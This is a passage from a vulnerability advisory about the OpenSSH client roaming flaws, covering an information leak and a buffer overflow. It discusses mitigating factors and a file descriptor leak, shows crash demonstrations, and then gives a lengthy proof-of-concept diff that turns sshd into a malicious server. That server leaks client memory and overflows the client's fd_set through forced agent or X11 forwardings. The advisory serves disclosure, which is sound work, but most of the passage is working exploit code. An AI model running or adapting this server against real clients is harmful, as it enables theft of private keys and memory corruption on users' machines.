}\n\n------------------------------------------------------------------------\nMitigating Factors\n------------------------------------------------------------------------\n\nThis buffer overflow affects all OpenSSH clients \u003e= 5.4, but its impact\nis significantly reduced by the Mitigating Factors detailed in the\nInformation Leak section, and additionally:\n\n- OpenSSH versions \u003e= 6.8 reimplement packet_backup_state() and\n packet_restore_state(), but introduce a bug that prevents the buffer\n overflow from being exploited; indeed, ssh_packet_backup_state() swaps\n two local pointers, ssh and backup_state, instead of swapping the two\n global pointers active_state and backup_state:\n\n 9 struct ssh *active_state, *backup_state;\n... \n238 void\n239 packet_backup_state(void)\n240 {\n241 ssh_packet_backup_state(active_state, backup_state);\n242 }\n243\n244 void\n245 packet_restore_state(void)\n246 {\n247 ssh_packet_restore_state(active_state, backup_state);\n248 }\n\n2269 void\n2270 ssh_packet_backup_state(struct ssh *ssh,\n2271 struct ssh *backup_state)\n2272 {\n2273 struct ssh *tmp;\n.... \n2279 if (backup_state)\n2280 tmp = backup_state;\n2281 else\n2282 tmp = ssh_alloc_session_state();\n2283 backup_state = ssh;\n2284 ssh = tmp;\n2285 }\n.... \n2291 void\n2292 ssh_packet_restore_state(struct ssh *ssh,\n2293 struct ssh *backup_state)\n2294 {\n2295 struct ssh *tmp;\n.... \n2299 tmp = backup_state;\n2300 backup_state = ssh;\n2301 ssh = tmp;\n2302 ssh-\u003estate-\u003econnection_in = backup_state-\u003estate-\u003econnection_in;\n\n As a result, the global pointer backup_state is still NULL when passed\n to ssh_packet_restore_state(), and crashes the OpenSSH client when\n dereferenced:\n\n# env ROAMING=\"overflow:A fd_leaks:0\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.8, LibreSSL 2.1\n\n$ /usr/bin/ssh -o ProxyCommand=\"/usr/bin/nc -w 15 %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]Segmentation fault (core dumped)\n\n This bug prevents the buffer overflow from being exploited, but not\n the information leak, because the vulnerable function resend_bytes()\n is called before ssh_packet_restore_state() crashes. \n\n------------------------------------------------------------------------\nFile Descriptor Leak\n------------------------------------------------------------------------\n\nA back-of-the-envelope calculation indicates that, in order to increase\nthe file descriptor connection_in or connection_out, and thus overflow\nthe file descriptor set setp in packet_read_seqnr() or\npacket_write_wait(), a file descriptor leak is needed:\n\n- First, the number of bytes calloc()ated for setp is rounded up to the\n nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors)\n on 64-bit systems. \n\n- Next, in glibc, this number is rounded up to the nearest multiple of\n MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit\n systems. \n\n- Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit\n systems, of which 24 bytes (or 192 file descriptors) are reserved for\n setp. \n\n- In conclusion, a file descriptor leak is needed, because connection_in\n or connection_out has to be increased by hundreds in order to overflow\n setp. \n\nThe search for a suitable file descriptor leak begins with a study of\nthe behavior of the four ssh_connect() methods, when called for a\nreconnection by wait_for_roaming_reconnect():\n\n1. The default method ssh_connect_direct() communicates with the server\nthrough a simple TCP socket: the two file descriptors connection_in and\nconnection_out are both equal to this socket\u0027s file descriptor. \n\nIn wait_for_roaming_reconnect(), the low-numbered file descriptor of the\nold TCP socket is close()d by packet_backup_state(), but immediately\nreused for the new TCP socket in ssh_connect_direct(): the new file\ndescriptors connection_in and connection_out are equal to this old,\nlow-numbered file descriptor, and cannot possibly overflow setp. \n\n2. The special ProxyCommand \"-\" communicates with the server through\nstdin and stdout, but (as explained in the Mitigating Factors of the\nInformation Leak section) it cannot possibly reconnect to the server,\nand is therefore immune to this buffer overflow. \n\n3. Surprisingly, we discovered a file descriptor leak in the\nssh_proxy_fdpass_connect() method itself; indeed, the file descriptor\nsp[1] is never close()d:\n\n 101 static int\n 102 ssh_proxy_fdpass_connect(const char *host, u_short port,\n 103 const char *proxy_command)\n 104 {\n ... \n 106 int sp[2], sock;\n ... \n 113 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) \u003c 0)\n 114 fatal(\"Could not create socketpair to communicate with \"\n 115 \"proxy dialer: %.100s\", strerror(errno));\n ... \n 161 close(sp[0]);\n ... \n 164 if ((sock = mm_receive_fd(sp[1])) == -1)\n 165 fatal(\"proxy dialer did not pass back a connection\");\n ... \n 171 /* Set the connection file descriptors. */\n 172 packet_set_connection(sock, sock);\n 173\n 174 return 0;\n 175 }\n\nHowever, two different reasons prevent this file descriptor leak from\ntriggering the setp overflow:\n\n- The method ssh_proxy_fdpass_connect() communicates with the server\n through a single socket received from the ProxyCommand: the two file\n descriptors connection_in and connection_out are both equal to this\n socket\u0027s file descriptor. \n\n In wait_for_roaming_reconnect(), the low-numbered file descriptor of\n the old socket is close()d by packet_backup_state(), reused for sp[0]\n in ssh_proxy_fdpass_connect(), close()d again, and eventually reused\n again for the new socket: the new file descriptors connection_in and\n connection_out are equal to this old, low-numbered file descriptor,\n and cannot possibly overflow setp. \n\n- Because of the waitpid() bug described in the Mitigating Factors of\n the Information Leak section, the method ssh_proxy_fdpass_connect()\n calls fatal() before it returns to wait_for_roaming_reconnect(), and\n is therefore immune to this buffer overflow. \n\n4. The method ssh_proxy_connect() communicates with the server through a\nProxyCommand and two different pipes: the file descriptor connection_in\nis the read end of the second pipe (pout[0]), and the file descriptor\nconnection_out is the write end of the first pipe (pin[1]):\n\n 180 static int\n 181 ssh_proxy_connect(const char *host, u_short port, const char *proxy_command)\n 182 {\n ... \n 184 int pin[2], pout[2];\n ... \n 192 if (pipe(pin) \u003c 0 || pipe(pout) \u003c 0)\n 193 fatal(\"Could not create pipes to communicate with the proxy: %.100s\",\n 194 strerror(errno));\n ... \n 240 /* Close child side of the descriptors. */\n 241 close(pin[0]);\n 242 close(pout[1]);\n ... \n 247 /* Set the connection file descriptors. */\n 248 packet_set_connection(pout[0], pin[1]);\n 249\n 250 /* Indicate OK return */\n 251 return 0;\n 252 }\n\nIn wait_for_roaming_reconnect(), the two old, low-numbered file\ndescriptors connection_in and connection_out are both close()d by\npacket_backup_state(), and immediately reused for the pipe(pin) in\nssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of\nthese old, low-numbered file descriptors, and cannot possibly overflow\nsetp. \n\nOn the other hand, the pipe(pout) in ssh_proxy_connect() may return\nhigh-numbered file descriptors, and the new connection_in (pout[0]) may\ntherefore overflow setp, if hundreds of file descriptors were leaked\nbefore the call to wait_for_roaming_reconnect():\n\n- We discovered a file descriptor leak in the pubkey_prepare() function\n of OpenSSH \u003e= 6.8; indeed, if the client is running an authentication\n agent that does not offer any private keys, the reference to agent_fd\n is lost, and this file descriptor is never close()d:\n\n1194 static void\n1195 pubkey_prepare(Authctxt *authctxt)\n1196 {\n.... \n1200 int agent_fd, i, r, found;\n.... \n1247 if ((r = ssh_get_authentication_socket(\u0026agent_fd)) != 0) {\n1248 if (r != SSH_ERR_AGENT_NOT_PRESENT)\n1249 debug(\"%s: ssh_get_authentication_socket: %s\",\n1250 __func__, ssh_err(r));\n1251 } else if ((r = ssh_fetch_identitylist(agent_fd, 2, \u0026idlist)) != 0) {\n1252 if (r != SSH_ERR_AGENT_NO_IDENTITIES)\n1253 debug(\"%s: ssh_fetch_identitylist: %s\",\n1254 __func__, ssh_err(r));\n1255 } else {\n.... \n1288 authctxt-\u003eagent_fd = agent_fd;\n1289 }\n.... \n1299 }\n\n However, OpenSSH clients \u003e= 6.8 crash in ssh_packet_restore_state()\n (because of the NULL-pointer dereference discussed in the Mitigating\n Factors of the Buffer Overflow section) and are immune to the setp\n overflow, despite this agent_fd leak. \n\n- If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH\n client (it is disabled by default), a malicious SSH server can request\n hundreds of forwardings, in order to increase connection_in (each\n forwarding opens a file descriptor), and thus overflow setp in\n packet_read_seqnr():\n\n# env ROAMING=\"overflow:A\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014\n\n$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand=\"/usr/bin/socat - TCP4:%h:%p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n*** Error in `/usr/bin/ssh\u0027: free(): invalid next size (fast): 0x00007f0474d03e70 ***\nAborted (core dumped)\n\n# env ROAMING=\"overflow:X\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ /usr/bin/ssh -X -o ProxyCommand=\"/usr/bin/socat - TCP4:%h:%p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n*** Error in `/usr/bin/ssh\u0027: free(): invalid next size (fast): 0x00007fdcc2a3aba0 ***\n*** Error in `/usr/bin/ssh\u0027: malloc(): memory corruption: 0x00007fdcc2a3abc0 ***\n\nFinally, a brief digression on two unexpected problems that had to be\nsolved in our proof-of-concept:\n\n- First, setp can be overflowed only in packet_read_seqnr(), not in\n packet_write_wait(), but agent forwarding and X11 forwarding are post-\n authentication functionalities, and post-authentication calls to\n packet_read() or packet_read_expect() are scarce, except in the\n key-exchange code of OpenSSH clients \u003c 6.8: our proof-of-concept\n effectively forces a rekeying in order to overflow setp in\n packet_read_seqnr(). \n\n- Second, after a successful reconnection, packet_read_seqnr() may call\n fatal(\"Read from socket failed: %.100s\", ...), because roaming_read()\n may return EAGAIN (EAGAIN is never returned without the reconnection,\n because the preceding call to select() guarantees that connection_in\n is ready for read()). Our proof-of-concept works around this problem\n by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server,\n allowing data to reach the client before roaming_read() is called,\n thus avoiding EAGAIN. \n\n\n========================================================================\nAcknowledgments\n========================================================================\n\nWe would like to thank the OpenSSH developers for their great work and\ntheir incredibly quick response, Red Hat Product Security for promptly\nassigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall\nProject for the interesting discussions. \n\n\n========================================================================\nProof Of Concept\n========================================================================\n\ndiff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c\n--- openssh-6.4p1/auth2-pubkey.c\t2013-07-17 23:10:10.000000000 -0700\n+++ openssh-6.4p1+roaming/auth2-pubkey.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)\n \t\t * if a user is not allowed to login. is this an\n \t\t * issue? -markus\n \t\t */\n-\t\tif (PRIVSEP(user_key_allowed(authctxt-\u003epw, key))) {\n+\t\tif (PRIVSEP(user_key_allowed(authctxt-\u003epw, key)) || 1) {\n+\t\t\tdebug(\"%s: force client-side load_identity_file\",\n+\t\t\t __func__);\n \t\t\tpacket_start(SSH2_MSG_USERAUTH_PK_OK);\n \t\t\tpacket_put_string(pkalg, alen);\n \t\t\tpacket_put_string(pkblob, blen);\ndiff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c\n--- openssh-6.4p1/kex.c\t2013-06-01 14:31:18.000000000 -0700\n+++ openssh-6.4p1+roaming/kex.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX],\n }\n \n static void\n+roaming_reconnect(void)\n+{\n+\tpacket_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);\n+\tconst u_int id = packet_get_int(); /* roaming_id */\n+\tdebug(\"%s: id %u\", __func__, id);\n+\tpacket_check_eom();\n+\n+\tconst char *const dir = get_roaming_dir(id);\n+\tdebug(\"%s: dir %s\", __func__, dir);\n+\tconst int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, dir, errno);\n+\tif (fchdir(fd) != 0)\n+\t\tfatal(\"%s: fchdir %s errno %d\", __func__, dir, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, dir, errno);\n+\n+\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);\n+\tpacket_put_int64(arc4random()); /* chall */\n+\tpacket_put_int64(arc4random()); /* oldchall */\n+\tpacket_send();\n+\n+\tpacket_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);\n+\tconst u_int64_t client_read_bytes = packet_get_int64();\n+\tdebug(\"%s: client_read_bytes %llu\", __func__,\n+\t (unsigned long long)client_read_bytes);\n+\tpacket_get_int64(); /* digest (1-8) */\n+\tpacket_get_int64(); /* digest (9-16) */\n+\tpacket_get_int(); /* digest (17-20) */\n+\tpacket_check_eom();\n+\n+\tu_int64_t client_write_bytes;\n+\tsize_t len = sizeof(client_write_bytes);\n+\tload_roaming_file(\"client_write_bytes\", \u0026client_write_bytes, \u0026len);\n+\tdebug(\"%s: client_write_bytes %llu\", __func__,\n+\t (unsigned long long)client_write_bytes);\n+\n+\tu_int client_out_buf_size;\n+\tlen = sizeof(client_out_buf_size);\n+\tload_roaming_file(\"client_out_buf_size\", \u0026client_out_buf_size, \u0026len);\n+\tdebug(\"%s: client_out_buf_size %u\", __func__, client_out_buf_size);\n+\tif (client_out_buf_size \u003c= 0 || client_out_buf_size \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: client_out_buf_size %u\", __func__,\n+\t\t\t client_out_buf_size);\n+\n+\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);\n+\tpacket_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);\n+\tpacket_send();\n+\tconst int overflow = (access(\"output\", F_OK) == 0);\n+\tif (overflow != 0) {\n+\t\tconst void *const ptr = load_roaming_file(\"output\", NULL, \u0026len);\n+\t\tbuffer_append(packet_get_output(), ptr, len);\n+\t}\n+\tpacket_write_wait();\n+\n+\tchar *const client_out_buf = xmalloc(client_out_buf_size);\n+\tif (atomicio(read, packet_get_connection_in(), client_out_buf,\n+\t\t\t client_out_buf_size) != client_out_buf_size)\n+\t\tfatal(\"%s: read client_out_buf_size %u errno %d\", __func__,\n+\t\t\t\tclient_out_buf_size, errno);\n+\tif (overflow == 0)\n+\t\tdump_roaming_file(\"infoleak\", client_out_buf,\n+\t\t\t\t\t client_out_buf_size);\n+\tfatal(\"%s: all done for %s\", __func__, dir);\n+}\n+\n+static void\n kex_choose_conf(Kex *kex)\n {\n \tNewkeys *newkeys;\n@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)\n \t\t\tkex-\u003eroaming = 1;\n \t\t\tfree(roaming);\n \t\t}\n+\t} else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {\n+\t\troaming_reconnect();\n+\t\t/* NOTREACHED */\n+\t\tfatal(\"%s: returned from %s\", __func__, KEX_RESUME);\n \t}\n \n \t/* Algorithm Negotiation */\ndiff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h\n--- openssh-6.4p1/roaming.h\t2011-12-18 15:52:52.000000000 -0800\n+++ openssh-6.4p1+roaming/roaming.h\t2016-01-07 01:04:15.000000000 -0800\n@@ -42,4 +42,86 @@ void\tresend_bytes(int, u_int64_t *);\n void\tcalculate_new_key(u_int64_t *, u_int64_t, u_int64_t);\n int\tresume_kex(void);\n \n+#include \u003cfcntl.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003csys/stat.h\u003e\n+#include \u003csys/types.h\u003e\n+#include \u003cunistd.h\u003e\n+\n+#include \"atomicio.h\"\n+#include \"log.h\"\n+#include \"xmalloc.h\"\n+\n+static inline char *\n+get_roaming_dir(const u_int id)\n+{\n+\tconst size_t buflen = MAXPATHLEN;\n+\tchar *const buf = xmalloc(buflen);\n+\n+\tif ((u_int)snprintf(buf, buflen, \"/tmp/roaming-%08x\", id) \u003e= buflen)\n+\t\tfatal(\"%s: snprintf %u error\", __func__, id);\n+\treturn buf;\n+}\n+\n+static inline void\n+dump_roaming_file(const char *const name,\n+ const void *const buf, const size_t buflen)\n+{\n+\tif (name == NULL)\n+\t\tfatal(\"%s: name %p\", __func__, name);\n+\tif (strchr(name, \u0027/\u0027) != NULL)\n+\t\tfatal(\"%s: name %s\", __func__, name);\n+\tif (buf == NULL)\n+\t\tfatal(\"%s: %s buf %p\", __func__, name, buf);\n+\tif (buflen \u003c= 0 || buflen \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: %s buflen %lu\", __func__, name, (u_long)buflen);\n+\n+\tconst int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, name, errno);\n+\tif (write(fd, buf, buflen) != (ssize_t)buflen)\n+\t\tfatal(\"%s: write %s errno %d\", __func__, name, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, name, errno);\n+}\n+\n+static inline void *\n+load_roaming_file(const char *const name,\n+ void *buf, size_t *const buflenp)\n+{\n+\tif (name == NULL)\n+\t\tfatal(\"%s: name %p\", __func__, name);\n+\tif (strchr(name, \u0027/\u0027) != NULL)\n+\t\tfatal(\"%s: name %s\", __func__, name);\n+\tif (buflenp == NULL)\n+\t\tfatal(\"%s: %s buflenp %p\", __func__, name, buflenp);\n+\n+\tconst int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, name, errno);\n+\tstruct stat st;\n+\tif (fstat(fd, \u0026st) != 0)\n+\t\tfatal(\"%s: fstat %s errno %d\", __func__, name, errno);\n+\tif (S_ISREG(st.st_mode) == 0)\n+\t\tfatal(\"%s: %s mode 0%o\", __func__, name, (u_int)st.st_mode);\n+\tif (st.st_size \u003c= 0 || st.st_size \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: %s size %lld\", __func__, name,\n+\t\t (long long)st.st_size);\n+\n+\tif (buf == NULL) {\n+\t\t*buflenp = st.st_size;\n+\t\tbuf = xmalloc(*buflenp);\n+\t} else {\n+\t\tif (*buflenp != (size_t)st.st_size)\n+\t\t\tfatal(\"%s: %s size %lld buflen %lu\", __func__, name,\n+\t\t\t (long long)st.st_size, (u_long)*buflenp);\n+\t}\n+\tif (read(fd, buf, *buflenp) != (ssize_t)*buflenp)\n+\t\tfatal(\"%s: read %s errno %d\", __func__, name, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, name, errno);\n+\treturn buf;\n+}\n+\n #endif /* ROAMING */\ndiff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c\n--- openssh-6.4p1/serverloop.c\t2013-07-17 23:12:45.000000000 -0700\n+++ openssh-6.4p1+roaming/serverloop.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -1060,6 +1060,9 @@ server_request_session(void)\n \treturn c;\n }\n \n+static int client_session_channel = -1;\n+static int server_session_channel = -1;\n+\n static void\n server_input_channel_open(int type, u_int32_t seq, void *ctxt)\n {\n@@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in\n \t\tc-\u003eremote_window = rwindow;\n \t\tc-\u003eremote_maxpacket = rmaxpack;\n \t\tif (c-\u003etype != SSH_CHANNEL_CONNECTING) {\n+\t\t\tdebug(\"%s: avoid client-side buf_append\", __func__);\n+\t\t\t/*\n \t\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n \t\t\tpacket_put_int(c-\u003eremote_id);\n \t\t\tpacket_put_int(c-\u003eself);\n \t\t\tpacket_put_int(c-\u003elocal_window);\n \t\t\tpacket_put_int(c-\u003elocal_maxpacket);\n \t\t\tpacket_send();\n+\t\t\t*/\n+\t\t\tif (strcmp(ctype, \"session\") == 0) {\n+\t\t\t\tif (client_session_channel != -1)\n+\t\t\t\t\tfatal(\"%s: client_session_channel %d\",\n+\t\t\t\t\t __func__, client_session_channel);\n+\t\t\t\tclient_session_channel = c-\u003eremote_id;\n+\t\t\t\tserver_session_channel = c-\u003eself;\n+\t\t\t}\n \t\t}\n \t} else {\n \t\tdebug(\"server_input_channel_open: failure %s\", ctype);\n@@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in\n }\n \n static void\n+roaming_disconnect(Kex *const kex)\n+{\n+\tconst char *cp, *roaming = getenv(\"ROAMING\");\n+\tif (roaming == NULL)\n+\t\troaming = \"infoleak\";\n+\tint overflow = 0;\n+\tif ((cp = strstr(roaming, \"overflow:\")) != NULL)\n+\t\toverflow = cp[9];\n+\n+\tconst u_int client_recv_buf_size = packet_get_int();\n+\tpacket_check_eom();\n+\tconst u_int server_recv_buf_size = get_recv_buf_size();\n+\tconst u_int server_send_buf_size = get_snd_buf_size();\n+\tdebug(\"%s: client_recv_buf_size %u\", __func__, client_recv_buf_size);\n+\tdebug(\"%s: server_recv_buf_size %u\", __func__, server_recv_buf_size);\n+\tdebug(\"%s: server_send_buf_size %u\", __func__, server_send_buf_size);\n+\n+\tu_int client_send_buf_size = 0;\n+\tif ((cp = strstr(roaming, \"client_send_buf_size:\")) != NULL)\n+\t\tclient_send_buf_size = strtoul(cp + 21, NULL, 0);\n+\telse if (client_recv_buf_size == DEFAULT_ROAMBUF)\n+\t\tclient_send_buf_size = DEFAULT_ROAMBUF;\n+\telse {\n+\t\tconst u_int\n+\t\t max = MAX(client_recv_buf_size, server_recv_buf_size),\n+\t\t min = MIN(client_recv_buf_size, server_recv_buf_size);\n+\t\tif (min \u003c= 0)\n+\t\t\tfatal(\"%s: min %u\", __func__, min);\n+\t\tif (((u_int64_t)(max - min) * 1024) / min \u003c 1)\n+\t\t\tclient_send_buf_size = server_send_buf_size;\n+\t\telse\n+\t\t\tclient_send_buf_size = client_recv_buf_size;\n+\t}\n+\tdebug(\"%s: client_send_buf_size %u\", __func__, client_send_buf_size);\n+\tif (client_send_buf_size \u003c= 0)\n+\t\tfatal(\"%s: client_send_buf_size\", __func__);\n+\n+\tu_int id = 0;\n+\tchar *dir = NULL;\n+\tfor (;;) {\n+\t\tid = arc4random();\n+\t\tdebug(\"%s: id %u\", __func__, id);\n+\t\tfree(dir);\n+\t\tdir = get_roaming_dir(id);\n+\t\tif (mkdir(dir, S_IRWXU) == 0)\n+\t\t\tbreak;\n+\t\tif (errno != EEXIST)\n+\t\t\tfatal(\"%s: mkdir %s errno %d\", __func__, dir, errno);\n+\t}\n+\tdebug(\"%s: dir %s\", __func__, dir);\n+\tif (chdir(dir) != 0)\n+\t\tfatal(\"%s: chdir %s errno %d\", __func__, dir, errno);\n+\n+\tu_int client_out_buf_size = 0;\n+\tif ((cp = strstr(roaming, \"client_out_buf_size:\")) != NULL)\n+\t\tclient_out_buf_size = strtoul(cp + 20, NULL, 0);\n+\telse if (overflow != 0)\n+\t\tclient_out_buf_size = MAX_ROAMBUF;\n+\telse\n+\t\tclient_out_buf_size = 1 + arc4random() % 4096;\n+\tdebug(\"%s: client_out_buf_size %u\", __func__, client_out_buf_size);\n+\tif (client_out_buf_size \u003c= 0)\n+\t\tfatal(\"%s: client_out_buf_size\", __func__);\n+\tdump_roaming_file(\"client_out_buf_size\", \u0026client_out_buf_size,\n+\t\t\t\t\t sizeof(client_out_buf_size));\n+\n+\tif ((cp = strstr(roaming, \"scp_mode\")) != NULL) {\n+\t\tif (overflow != 0)\n+\t\t\tfatal(\"%s: scp_mode is incompatible with overflow %d\",\n+\t\t\t __func__, overflow);\n+\n+\t\tu_int seconds_left_to_sleep = 3;\n+\t\tif ((cp = strstr(cp, \"sleep:\")) != NULL)\n+\t\t\tseconds_left_to_sleep = strtoul(cp + 6, NULL, 0);\n+\t\tdebug(\"%s: sleep %u\", __func__, seconds_left_to_sleep);\n+\n+\t\tif (client_session_channel == -1)\n+\t\t\tfatal(\"%s: client_session_channel %d\",\n+\t\t\t __func__, client_session_channel);\n+\n+\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n+\t\tpacket_put_int(client_session_channel);\n+\t\tpacket_put_int(server_session_channel);\n+\t\tpacket_put_int(0); /* server window */\n+\t\tpacket_put_int(0); /* server maxpacket */\n+\t\tpacket_send();\n+\n+\t\tpacket_start(SSH2_MSG_CHANNEL_DATA);\n+\t\tpacket_put_int(client_session_channel);\n+\t\tpacket_put_string(\"\\0\\n\", 2); /* response\u0026source|sink\u0026run_err */\n+\t\tpacket_send();\n+\n+\t\tpacket_read_expect(SSH2_MSG_CHANNEL_REQUEST);\n+\t\tpacket_get_int(); /* server channel */\n+\t\tdebug(\"%s: channel request %s\", __func__,\n+\t\t packet_get_cstring(NULL));\n+\n+\t\twhile (seconds_left_to_sleep)\n+\t\t\tseconds_left_to_sleep = sleep(seconds_left_to_sleep);\n+\t}\n+\n+\tpacket_start(SSH2_MSG_REQUEST_SUCCESS);\n+\tpacket_put_int(id); /* roaming_id */\n+\tpacket_put_int64(arc4random()); /* cookie */\n+\tpacket_put_int64(0); /* key1 */\n+\tpacket_put_int64(0); /* key2 */\n+\tpacket_put_int(client_out_buf_size - client_send_buf_size);\n+\tpacket_send();\n+\tpacket_write_wait();\n+\n+\tif (overflow != 0) {\n+\t\tconst u_int64_t full_client_out_buf = get_recv_bytes() +\n+\t\t\t\t client_out_buf_size;\n+\n+\t\tu_int fd_leaks = 4 * 8 * 8; /* MIN_CHUNK_SIZE in bits */\n+\t\tif ((cp = strstr(roaming, \"fd_leaks:\")) != NULL)\n+\t\t\tfd_leaks = strtoul(cp + 9, NULL, 0);\n+\t\tdebug(\"%s: fd_leaks %u\", __func__, fd_leaks);\n+\n+\t\twhile (fd_leaks--) {\n+\t\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN);\n+\t\t\tpacket_put_cstring(overflow == \u0027X\u0027 ? \"x11\" :\n+\t\t\t \"auth-agent@openssh.com\"); /* ctype */\n+\t\t\tpacket_put_int(arc4random()); /* server channel */\n+\t\t\tpacket_put_int(arc4random()); /* server window */\n+\t\t\tpacket_put_int(arc4random()); /* server maxpacket */\n+\t\t\tif (overflow == \u0027X\u0027) {\n+\t\t\t\tpacket_put_cstring(\"\"); /* originator */\n+\t\t\t\tpacket_put_int(arc4random()); /* port */\n+\t\t\t}\n+\t\t\tpacket_send();\n+\n+\t\t\tpacket_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n+\t\t\tpacket_get_int(); /* server channel */\n+\t\t\tpacket_get_int(); /* client channel */\n+\t\t\tpacket_get_int(); /* client window */\n+\t\t\tpacket_get_int(); /* client maxpacket */\n+\t\t\tpacket_check_eom();\n+\t\t}\n+\n+\t\twhile (get_recv_bytes() \u003c= full_client_out_buf) {\n+\t\t\tpacket_start(SSH2_MSG_GLOBAL_REQUEST);\n+\t\t\tpacket_put_cstring(\"\"); /* rtype */\n+\t\t\tpacket_put_char(1); /* want_reply */\n+\t\t\tpacket_send();\n+\n+\t\t\tpacket_read_expect(SSH2_MSG_REQUEST_FAILURE);\n+\t\t\tpacket_check_eom();\n+\t\t}\n+\n+\t\tif (kex == NULL)\n+\t\t\tfatal(\"%s: no kex, cannot rekey\", __func__);\n+\t\tif (kex-\u003eflags \u0026 KEX_INIT_SENT)\n+\t\t\tfatal(\"%s: KEX_INIT_SENT already\", __func__);\n+\t\tchar *const ptr = buffer_ptr(\u0026kex-\u003emy);\n+\t\tconst u_int len = buffer_len(\u0026kex-\u003emy);\n+\t\tif (len \u003c= 1+4) /* first_kex_follows + reserved */\n+\t\t\tfatal(\"%s: kex len %u\", __func__, len);\n+\t\tptr[len - (1+4)] = 1; /* first_kex_follows */\n+\t\tkex_send_kexinit(kex);\n+\n+\t\tu_int i;\n+\t\tpacket_read_expect(SSH2_MSG_KEXINIT);\n+\t\tfor (i = 0; i \u003c KEX_COOKIE_LEN; i++)\n+\t\t\tpacket_get_char();\n+\t\tfor (i = 0; i \u003c PROPOSAL_MAX; i++)\n+\t\t\tfree(packet_get_string(NULL));\n+\t\tpacket_get_char(); /* first_kex_follows */\n+\t\tpacket_get_int(); /* reserved */\n+\t\tpacket_check_eom();\n+\n+\t\tchar buf[8192*2]; /* two packet_read_seqnr bufferfuls */\n+\t\tmemset(buf, \u0027\\0\u0027, sizeof(buf));\n+\t\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL);\n+\t\tpacket_put_string(buf, sizeof(buf));\n+\t\tpacket_send();\n+\t\tconst Buffer *const output = packet_get_output();\n+\t\tdump_roaming_file(\"output\", buffer_ptr(output),\n+\t\t\t\t\t buffer_len(output));\n+\t}\n+\n+\tconst u_int64_t client_write_bytes = get_recv_bytes();\n+\tdebug(\"%s: client_write_bytes %llu\", __func__,\n+\t (unsigned long long)client_write_bytes);\n+\tdump_roaming_file(\"client_write_bytes\", \u0026client_write_bytes,\n+\t\t\t\t\t sizeof(client_write_bytes));\n+\tfatal(\"%s: all done for %s\", __func__, dir);\n+}\n+\n+static void\n server_input_global_request(int type, u_int32_t seq, void *ctxt)\n {\n \tchar *rtype;\n@@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_\n \t} else if (strcmp(rtype, \"no-more-sessions@openssh.com\") == 0) {\n \t\tno_more_sessions = 1;\n \t\tsuccess = 1;\n+\t} else if (strcmp(rtype, ROAMING_REQUEST) == 0) 